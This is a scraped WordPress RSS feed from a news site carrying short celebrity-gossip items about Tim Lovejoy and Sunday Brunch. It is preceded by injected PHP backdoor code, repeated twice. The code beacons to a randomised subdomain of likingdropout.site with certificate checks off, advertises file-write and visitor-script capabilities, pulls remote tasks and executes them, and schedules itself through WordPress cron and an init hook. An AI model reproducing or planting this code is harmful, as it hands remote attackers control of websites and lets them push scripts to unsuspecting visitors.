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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lovejoy – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Apr 2021 18:00:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Lovejoy – Brief News https://briefnews.eu 32 32 Tim Lovejoy branded ‘idiot’ by Sunday Brunch guest as fans mock appearance ‘Take it off!’ https://briefnews.eu/tim-lovejoy-branded-idiot-by-sunday-brunch-guest-as-fans-mock-appearance-take-it-off/ https://briefnews.eu/tim-lovejoy-branded-idiot-by-sunday-brunch-guest-as-fans-mock-appearance-take-it-off/#respond Sun, 11 Apr 2021 18:00:13 +0000 https://briefnews.eu/tim-lovejoy-branded-idiot-by-sunday-brunch-guest-as-fans-mock-appearance-take-it-off/

A third tweeted: “Tim Lovejoy channelling his inner Starsky on Sunday Brunch today #SundayBrunch.”

“Dear Tim … What on earth is that cardigan all about #SundayBrunch,” someone else added.

“What is Tim wearing, he’s taken lockdown hard when he is wearing his slouchy clothes on tv #sundaybrunch,” a fifth remarked. 

However, some viewers were fans of the new look as one tweeted: “A cardigan with BUILT-IN MITTENS! Need this in my life… @timlovejoy @SundayBrunchC4 #SundayBrunch.”

Sunday Brunch airs on Channel 4 on Sundays at 9.30am.

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]]> https://briefnews.eu/tim-lovejoy-branded-idiot-by-sunday-brunch-guest-as-fans-mock-appearance-take-it-off/feed/ 0 Tim Lovejoy and Simon Rimmer speechless as Sunday Brunch guest derails show with innuendo https://briefnews.eu/tim-lovejoy-and-simon-rimmer-speechless-as-sunday-brunch-guest-derails-show-with-innuendo/ https://briefnews.eu/tim-lovejoy-and-simon-rimmer-speechless-as-sunday-brunch-guest-derails-show-with-innuendo/#respond Sun, 01 Nov 2020 13:21:33 +0000 https://briefnews.eu/tim-lovejoy-and-simon-rimmer-speechless-as-sunday-brunch-guest-derails-show-with-innuendo/

However, when Tim said he took a daily cold shower for his wellbeing, Conor joked he took one “for different reasons”.

The joke left the studio in silence as none of the guests or presenters knew how to address the innuendo.

Eventually, Jack broke the ice as he joked he thought he’d be the one bringing the “smut” to the programme.

Simon and Tim just about managed to get the show back on track as they joked the less said about Conor’s comment the better.

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]]> https://briefnews.eu/tim-lovejoy-and-simon-rimmer-speechless-as-sunday-brunch-guest-derails-show-with-innuendo/feed/ 0 Tim Lovejoy walks off Sunday Brunch as Simon Rimmer forced to step in: ‘Leave you to it!’ https://briefnews.eu/tim-lovejoy-walks-off-sunday-brunch-as-simon-rimmer-forced-to-step-in-leave-you-to-it/ https://briefnews.eu/tim-lovejoy-walks-off-sunday-brunch-as-simon-rimmer-forced-to-step-in-leave-you-to-it/#respond Sun, 16 Aug 2020 11:51:50 +0000 https://briefnews.eu/tim-lovejoy-walks-off-sunday-brunch-as-simon-rimmer-forced-to-step-in-leave-you-to-it/

“Boy, oh boy,” he added. “That was rough for Man City fans, my heart goes out to all the folks.”

Jason was referencing Man City’s quarter-final loss at the hands of Lyon last night, which brought an impressed reaction from Tim and Simon.

“Great knowledge, Jason. Well done,” said Tim, while Simon added: “We should just stop the interview now,

“That was a brilliant end,” the Sunday Brunch host joked.

Sunday Brunch continues every Sunday on Channel 4.

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“Simon’s had a bit of a problem with the knitting community. He fell out with them on this show,” explained Tim.

As the discussion went on, Tim asked for viewers to send in their own creations, to which he got a flurry of responses.

“Simon here hates knitters… we just saw these pictures and he got really angry,” joked Tim.

Simon told his co-host: “I’m going to get hammered so much on social media, this is your fault!”

Sunday Brunch airs every Sunday from 9:30am on Channel 4.

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Speaking with the host about all things Bake Off: The Professionals which returns next week, the comedian said: “Isn’t it nice to be out and about?

“To be free to come to the studio today, oh I felt like Dominic Cummings,” he jibed, with Tim awkwardly laughing off the statement.

“It was so nice to be out and about,” the guest continued, to which the presenter then seemed to shut him down.

“The politics – this is the wrong channel for the politics,” the presenter remarked, with the comedian replying: “I know.”

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]]> https://briefnews.eu/tim-lovejoy-shuts-down-sunday-brunch-guest-over-dominic-cummings-jibe-wrong-channel/feed/ 0 Sunday Brunch viewers confused by Tim Lovejoy segment: ‘Making me feel uncomfortable’ https://briefnews.eu/sunday-brunch-viewers-confused-by-tim-lovejoy-segment-making-me-feel-uncomfortable/ https://briefnews.eu/sunday-brunch-viewers-confused-by-tim-lovejoy-segment-making-me-feel-uncomfortable/#respond Sun, 03 May 2020 12:08:55 +0000 https://briefnews.eu/sunday-brunch-viewers-confused-by-tim-lovejoy-segment-making-me-feel-uncomfortable/

Tim, 52, and Simon Rimmer, 56, were on hand to host another instalment of Sunday Brunch today, presenting the show from their homes via pre-recorded video links. With viewers of the Channel 4 programme still living in lockdown, the stars of the programme wanted to give those watching at home some ideas about what they could do to fill their time. However, fans were left confused when the activity was revealed as it was very unorthodox.

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As viewers may or may not know, Simon has shown off his dancing skills on the Strictly Come Dancing stage, having taken part in the competition in 2017.

Tim has often poked fun at his co-host over not winning the show, but this morning, it was his chance to show his skills on the dance floor.

Choreographer Darren Royston was on hand to help the presenter, giving instructions via video as the performer explained he was currently in lockdown in Bangkok.

The host didn’t learn the skills for ballroom, however, rather being taught how to perform moves used in the times of Ancient Greece.

Those watching at home were very bemused by the whole thing, especially when a saucepan, t-towel and spatula were brought into the equation.

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Tim was certainly pleased the segment came to an end when it did, but could this be a hint he could be getting ready to take part in Strictly?

There have been clues dropped by Sunday Brunch over the years the other host could be taking part in the BBC dance show.

Taking to their official Twitter page, the show posted a clip of the presenter showing off some of his dance moves.

The post emerging on social media last year read: “Just waiting for that phone call from @BBCStrictly aren’t you @TImLovejoy?”

Responding to the post, the presenter replied: “Done deal,” to which Simon retweeted his co-star’s message.

With the 2019 series already airing and Tim not being a part of the line-up, he clearly hadn’t signed up.

However, with this year’s cast list yet to be announced, will the Sunday Brunch host be following in his co-host’s footsteps?

Will he succeed in overtaking the former Strictly star’s placing, having only got to week six of the BBC dance show?

Sunday Brunch airs Sundays at 9:30pm on Channel 4.

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The hosts have done the best that they can with the technology they have been given, but something else had the viewers distracted today. 

Simon showed the audience how to create an Easter lamb salad today and fans were left baffled by the host’s kitchen. 

One viewer said: “So Simon hasn’t really got a pandemic friendly kitchen has he..schoolboy error #SundayBrunch.”

Another added: “#SundayBrunch am underwhelmed by Simon’s kitchen. thought he’d have a decent sized kitchen with a view.”

“Simon’s kitchen’s a bit poky init #SundayBrunch,” said a third. 

Sunday Brunch continues on Channel 4 next Sunday at 9.30am.

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Tim, 50, was on hand to help Simon, 55, as Sunday Brunch returned this morning on Channel 4, with the pair joined by singer-songwriter Maverick Sabre in the studio kitchen.

Watching on as the presenters gave a cooking demonstration, several other guests including comedian Jimmy Carr, 46, and Derry Girls actresses Saoirse-Monica Jackson and Siobhan McSweeney were sat on the other side of the studio.

Normally, the hosts of the show try to keep communication going with the guests although there attention is turned to other aspects of the show such as cooking.

However, when it came to turning his attention to reading through the dictionary when discussing how Maverick came up with his stage name, Tim jokingly hit back at the other guests.

Wanting to know more about the singer’s background, Tim asked: “Is it true you choose your name by taking your initials and going to the dictionary and picking the first word?”

Maverick replied: “Yeah, I did. I was fifteen and I was starting out on myspace. My initials were MS, so I found two words for me, matched what I was trying to put out and the message I was trying to put out.”

Tim then said he was going to try the same logic with his co-host Simon, as well as finding an alternative name for himself.

Flicking through the pages, Tim choose ‘thesis’ as his first name but faced some difficulty when it came to trying to locate a word to use as his surname.

Aware their were several eyes focussing on him while he struggled through the pages, Tim jokingly remarked: “Can everyone stop looking at me.

“I feel pressured to find L [in the dictionary],” to which Derry Girl actress Siobhan replied: “You’re on the television. What did you think was going to happen?” referring to people watching him present the show.

The actress then joked: “This isn’t when you decide I don’t like people looking at me.”

After the cooking segment, the presenters joined their guests to speak with cheese expert Morgan McGlynn, as they also delved into tasting the dairy treats.

However, as Morgan tried to explain the specifics about the cheese, the guests and presenters were speaking over one another, commenting on the culinary delights and make some light-hearted jokes.

Viewers on Twitter weren’t too happy with the communication going on in the studio however, as Morgan tried to continue giving her expertise on the cheese.

One posted: “How do people watch @SundayBrunchC4 when all these people are talking over one another during the food tasting. Had to turn it off. #SundayBrunch.”

Another added: “@SundayBrunchC4 All the shouting over each other has hurt my head…what happened to ‘easy like a Sunday morning’ #SundayBrunch.”

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Sunday Brunch was hosted by Tim Lovejoy and Simon Rimmer this morning and they were joined by a variety of celebrity guests. 

However, following a short ad break, Tim was forced to apologise to one of his guests for incorrectly pronouncing their name. 

“Welcome back to Sunday Brunch live, we’re cooking with Katherine Jenkins,” Tim began. 

“Before we do that, we’ve got to apologise to Jane, who’s name isn’t Jane, it’s Jain. 

“Have I said that correct?” He asked and the camera panned to the table where singer/songwriter Jain was sitting.

“Erm,” She replied. “In French it is Jain,” she corrected. 

Tim, alongside the other guests then started practicing the correct pronunciation before Tim explained how embarrassed he was. 

“My fault, I don’t really like speaking French in public,” he joked. 

“Go on have a go!” Comedian Joe Lycett encouraged. “Bonjour…” 

“No I don’t really like it Joe. I don’t like doing that. I’m blushing now,” Tim replied. 

Those watching at home took to Twitter to discuss the moment. 

One said: “Her name is no Jane FFS #SundayBrunch.”(sic)

“Do your research @timlovejoy how embarrassing #SundayBrunch,” another Tweet read. 

A third commented: “French girl looks in dismay at what is happening… #SundayBrunch.” 

More to follow…

Sunday Brunch is currently airing until 12:30pm on Channel 4.

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During the Channel 4 show, hosts Simon Rimmer and Tim Lovejoy were joined by guest Tracy-Ann Oberman.

The former Eastenders star, who played Chrissie Watts, was telling the presenters a story during a cooking segment when she was suddenly cut off.

Tracy was oblivious to the glitch until Tim interrupted and call for a new microphone.

He said to her: “Hold on there, apparently your mic’s gone down. Can we get one in!?”

The actress was amused by the blunder and claimed she always has a dramatic experience on the show.

She said: “Every time I’m on this show something dramatic happens.”

Tim then held a microphone up to Tracy to allow her to speak while Strictly Come Dancing contestant Simon laughed in the background.

“It’s like old school,” said the Doctor Who star.

After finishing her story, she went off to get her microphone fixed.

Making her way back on set, she asked: “Hi, can you hear me!?”

“I enjoyed watching that happen,” said Tim.

Tracy added: “I got frisked by the mic man. They are so good this team.”

Those watching took to Twitter to comment on the blunder with one writing: “When Tracy Ann’s mic fell down her bra *sigh*#SundayBrunch.”

Another wrote: “@TimLovejoy holding a microphone up to @TracyAnnO as her mic has fallen down, meaning Tim has a reason to be on the show for the FIRST. TIME. EVER! #SundayBrunch.”

A third added: “There was nothing wrong with her mic we could still hear her… #SundayBrunch.”

Sunday Brunch continues next Sunday on Channel 4 at 9.30am.

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